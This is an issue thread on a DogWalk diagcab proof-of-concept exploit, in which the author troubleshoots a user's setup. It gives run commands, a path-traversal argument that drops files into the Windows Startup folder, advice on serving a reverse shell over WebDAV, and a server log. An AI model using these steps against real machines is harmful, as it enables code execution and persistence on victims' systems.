Unable to create diagcab file

[hackercoolmagz]

Hey, I am unable to create diagcab file. Can you help?

[reubensammut]

You need to install cabarchive as per requirements.txt. You can install it by running pip install -r requirements.txt

[hackercoolmagz]

Ok. Thank You.

Forgive my ignorance. but can you tell me how to give "path" in command.

For example, I am running command as shown below and I am getting an error saying "no such file or directory"

python3 dogwalk.py IP address lport /directory

python3 dogwalk.py 10.10.10.1 8080 /payload

Also can you help me with the entire commands to create a diagcab file and hosting it.

[reubensammut]

So, as per the original PoC, the exploit works by hosting a directory through a WebDAV server which the exploits connects to and copies to the startup folder. The path which you specify here should be the path which contains the files you want to copy. Say you have a reverse shell at /opt/rev/, you would run the command as

python3 dogwalk.py 10.10.10.1 8080 /opt/rev

[hackercoolmagz]

So, as per the original PoC, the exploit works by hosting a directory through a WebDAV server which the exploits connects to and copies to the startup folder. The path which you specify here should be the path which contains the files you want to copy. Say you have a reverse shell at /opt/rev/, you would run the command as

python3 dogwalk.py 10.10.10.1 8080 /opt/rev

So you are saying this tool creates the diagcab file and hosts it on the directory of the webdav server we choose. If that is the case, it's supposed to create a file named good-news-everybody.diagcab file in directory I choose. But the file is not being created. Any idea where I am doing wrong?

[reubensammut]

When you browse the WebDAV, you will see two directories, one is called config and the other is called package. The package directory will contain the files you want to copy (provided by the path argument). The config directory will contain the diagcab. The diagcab file is not written to disk, it's just kept in memory, so you can only see it by browsing the WebDAV.

[hackercoolmagz]

Thank you for your help till now. The diagcab file is working and I have downloaded it to the target system. But the problem is nothing happens when I click on it. I mean it is not being copied to the Startup directory. I have tried calc.exe, POC.txt files also. Only some times it gives a message
"unhandled verb".

[reubensammut]

The diagcab does not get copied, only files from the package folder get copied

[hackercoolmagz]

The diagcab does not get copied, only files from the package folder get copied

I meant that only. I placed a calc.exe in package directory but it is not being copied into Startup folder. Same with poc.txt.

[reubensammut]

Check the startup folder by pressing Windows+R and type shell:startup. The default in my script is %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\. I've seen cases where the Startup folder is Start-up instead of Startup. You can use the -i parameter as such:

python3 dogwalk.py 10.10.10.1 8080 /opt/rev -i "..\\..\\..\\..\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Start-up\\"

The extract path is relative to a temp folder, which is why it requires the 4 ..\ before

[hackercoolmagz]

Not working. This is my input and output.

python3 dogwalk.py 192.168.40.130 8080 /home/kali/Dogwalk/DogWalk-rce-poc/webdav/diagcab-webdav-poc/ -i "..\..\..\..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
Serving on 0.0.0.0:8080
Got connection from 192.168.40.1:52087
Handling GET - config/good-news-everybody.diagcab
Got connection from 192.168.40.1:52088

Unhandled VERB -

I still can't figure out this "unhandled verb" error.

[hackercoolmagz]

Just for clarity, I am assuming that I am getting this error after the payload is called (calc.exe). I have tested this on different Windows targets. I am still trying different things to make this work. If you have any suggestions, help me.

[reubensammut]

So, first of all, from the parameters you're using, you don't seem to need the -i as it's the default one.

To be fair, this was meant as a proof of concept, so no extra debugs are available. You could add the following line after line 248 to see why you are getting unhandled verb

print(data)

Make sure to match the spacing (using spaces as it's required by python)

Just out of curiosity, how are accessing the diagcab? If you look at Imre Rad's blog post, linked in the readme file, you should access it via the Windows Explorer and browsing to, in your case \\192.168.40.130:8080\DavWWWRoot\config. There you will be able to see the diagcab, which you can execute directly.